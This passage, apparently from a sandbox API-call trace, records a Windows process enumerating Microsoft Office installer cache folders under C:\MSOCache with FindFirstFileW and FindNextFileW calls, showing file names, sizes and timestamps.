cFileName="InfLR.cab", cAlternateFileName="")) returned 1 [0052.275] GetLastError () returned 0x12 [0052.275] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3d24d0, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0xe3d24d0, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd2432970, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x246000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.msi", cAlternateFileName="INFOPA~1.MSI")) returned 1 [0052.275] GetLastError () returned 0x12 [0052.275] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x24c51f60, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0x24c51f60, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0xd2432970, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.xml", cAlternateFileName="INFOPA~1.XML")) returned 1 [0052.275] GetLastError () returned 0x12 [0052.275] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41b31680, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x41b31680, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd247e460, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x703, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0052.275] GetLastError () returned 0x12 [0052.275] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41b31680, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x41b31680, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd247e460, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x703, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0052.275] FindClose (in: hFindFile=0x4d8620 | out: hFindFile=0x4d8620) returned 1 [0052.276] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37e0060 | out: hHeap=0xab0000) returned 1 [0052.276] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd1f4a3e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd1fe2960, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1fe2960, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0090-0409-0000-0000000FF1CE}-C", cAlternateFileName="{935E4~1")) returned 1 [0052.276] GetLastError () returned 0x12 [0052.276] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-0090-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd1f4a3e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd1fe2960, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1fe2960, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8620 [0052.276] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd1f4a3e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd1fe2960, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1fe2960, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.276] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb87a4fc0, ftCreationTime.dwHighDateTime=0x1d0cbbf, ftLastAccessTime.dwLowDateTime=0xb87a4fc0, ftLastAccessTime.dwHighDateTime=0x1d0cbbf, ftLastWriteTime.dwLowDateTime=0xd1fbc030, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x9ca36, dwReserved0=0x0, dwReserved1=0x0, cFileName="DCFMUI.cab", cAlternateFileName="")) returned 1 [0052.276] GetLastError () returned 0x12 [0052.276] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdc86a00, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0xdc86a00, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd1f70540, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x246000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DCFMUI.msi", cAlternateFileName="")) returned 1 [0052.276] GetLastError () returned 0x12 [0052.276] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdf06d040, ftCreationTime.dwHighDateTime=0x1d0cbb1, ftLastAccessTime.dwLowDateTime=0xdf06d040, ftLastAccessTime.dwHighDateTime=0x1d0cbb1, ftLastWriteTime.dwLowDateTime=0xd1f70540, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="DCFMUI.xml", cAlternateFileName="")) returned 1 [0052.277] GetLastError () returned 0x12 [0052.277] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4198d7c0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x4198d7c0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd1fe0a20, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x710, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0052.277] GetLastError () returned 0x12 [0052.277] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4198d7c0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x4198d7c0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd1fe0a20, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x710, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0052.277] FindClose (in: hFindFile=0x4d8620 | out: hFindFile=0x4d8620) returned 1 [0052.277] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37e0060 | out: hHeap=0xab0000) returned 1 [0052.277] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd16f56e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd1f24280, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1f24280, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-00A1-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9155A~1")) returned 1 [0052.277] GetLastError () returned 0x12 [0052.277] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-00a1-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd16f56e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd1f24280, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1f24280, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8620 [0052.278] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd16f56e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd1f24280, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1f24280, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.278] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6cdfd410, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x6cdfd410, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd16f37a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x247000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.msi", cAlternateFileName="ONENOT~1.MSI")) returned 1 [0052.278] GetLastError () returned 0x12 [0052.278] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6b80780, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0xa6b80780, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0xd16f37a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x719, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.xml", cAlternateFileName="ONENOT~1.XML")) returned 1 [0052.278] GetLastError () returned 0x12 [0052.278] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85984230, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x85984230, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd17419a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xcbc714, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnoteLR.cab", cAlternateFileName="")) returned 1 [0052.278] GetLastError () returned 0x12 [0052.278] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x423b0b30, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x423b0b30, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd1f22340, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x87f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0052.278] GetLastError () returned 0x12 [0052.278] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x423b0b30, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x423b0b30, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd1f22340, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x87f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0052.279] FindClose (in: hFindFile=0x4d8620 | out: hFindFile=0x4d8620) returned 1 [0052.279] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37e0060 | out: hHeap=0xab0000) returned 1 [0052.279] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd2113460, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd240cfe0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd240cfe0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-00BA-0409-0000-0000000FF1CE}-C", cAlternateFileName="{97C62~1")) returned 1 [0052.279] GetLastError () returned 0x12 [0052.279] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-00ba-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd2113460, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd240cfe0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd240cfe0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8620 [0052.280] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd2113460, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd240cfe0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd240cfe0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.280] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x224df1f0, ftCreationTime.dwHighDateTime=0x1d0cbbf, ftLastAccessTime.dwLowDateTime=0x224df1f0, ftLastAccessTime.dwHighDateTime=0x1d0cbbf, ftLastWriteTime.dwLowDateTime=0xd240b870, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xd5202, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLR.cab", cAlternateFileName="")) returned 1 [0052.280] GetLastError () returned 0x12 [0052.280] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x125bd4d0, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x125bd4d0, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd2111cf0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x245000, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.msi", cAlternateFileName="GROOVE~1.MSI")) returned 1 [0052.280] GetLastError () returned 0x12 [0052.281] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa241b20, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0xa241b20, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0xd2111cf0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x466, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.xml", cAlternateFileName="GROOVE~1.XML")) returned 1 [0052.281] GetLastError () returned 0x12 [0052.281] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41bf2470, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x41bf2470, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd240b870, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x668, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0052.281] GetLastError () returned 0x12 [0052.281] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41bf2470, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x41bf2470, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd240b870, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x668, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0052.281] FindClose (in: hFindFile=0x4d8620 | out: hFindFile=0x4d8620) returned 1 [0052.282] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37e0060 | out: hHeap=0xab0000) returned 1 [0052.282] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd1f24280, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd1f4a3e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1f4a3e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-00E1-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9C97F~1")) returned 1 [0052.282] GetLastError () returned 0x12 [0052.282] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-00e1-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd1f24280, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd1f4a3e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1f4a3e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8620 [0052.282] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd1f24280, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd1f4a3e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1f4a3e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.282] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x923540e0, ftCreationTime.dwHighDateTime=0x1d0cbbf, ftLastAccessTime.dwLowDateTime=0x923540e0, ftLastAccessTime.dwHighDateTime=0x1d0cbbf, ftLastWriteTime.dwLowDateTime=0xd1f49440, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x41ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSMMUI.cab", cAlternateFileName="")) returned 1 [0052.282] GetLastError () returned 0x12 [0052.282] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x72b275a0, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x72b275a0, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd1f22340, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x12b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSMMUI.msi", cAlternateFileName="")) returned 1 [0052.282] GetLastError () returned 0x12 [0052.282] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc1ef3140, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0xc1ef3140, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0xd1f22340, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x463, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSMMUI.xml", cAlternateFileName="")) returned 1 [0052.282] GetLastError () returned 0x12 [0052.282] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4244a820, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x4244a820, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd1f49440, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x7f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0052.282] GetLastError () returned 0x12 [0052.283] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4244a820, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x4244a820, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd1f49440, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x7f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0052.283] FindClose (in: hFindFile=0x4d8620 | out: hFindFile=0x4d8620) returned 1 [0052.283] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37e0060 | out: hHeap=0xab0000) returned 1 [0052.283] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd3209120, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd32c7800, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd32c7800, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-00E2-0409-0000-0000000FF1CE}-C", cAlternateFileName="{97E7F~1")) returned 1 [0052.283] GetLastError () returned 0x12 [0052.283] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-00e2-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd3209120, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd32c7800, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd32c7800, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8620 [0052.283] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd3209120, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd32c7800, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd32c7800, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.283] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x912ef470, ftCreationTime.dwHighDateTime=0x1d0cbbf, ftLastAccessTime.dwLowDateTime=0x912ef470, ftLastAccessTime.dwHighDateTime=0x1d0cbbf, ftLastWriteTime.dwLowDateTime=0xd3254c10, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x408e2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSMUXMUI.cab", cAlternateFileName="")) returned 1 [0052.283] GetLastError () returned 0x12 [0052.283] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6e2413e0, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x6e2413e0, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, 